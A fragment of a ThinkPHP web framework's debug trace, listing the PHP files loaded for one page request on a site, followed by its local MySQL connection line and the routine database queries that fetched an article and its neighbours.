  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000430s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000567s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.012038s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.006499s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000645s ]
  6. SELECT * FROM `set` [ RunTime:0.000281s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000647s ]
  8. SELECT * FROM `article` WHERE `id` = 500361 LIMIT 1 [ RunTime:0.066434s ]
  9. UPDATE `article` SET `lasttime` = 1783011527 WHERE `id` = 500361 [ RunTime:0.029568s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.004022s ]
  11. SELECT * FROM `article` WHERE `id` < 500361 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001418s ]
  12. SELECT * FROM `article` WHERE `id` > 500361 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.047873s ]
  13. SELECT * FROM `article` WHERE `id` < 500361 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.111526s ]
  14. SELECT * FROM `article` WHERE `id` < 500361 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.045618s ]
  15. SELECT * FROM `article` WHERE `id` < 500361 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.109015s ]
0.531721s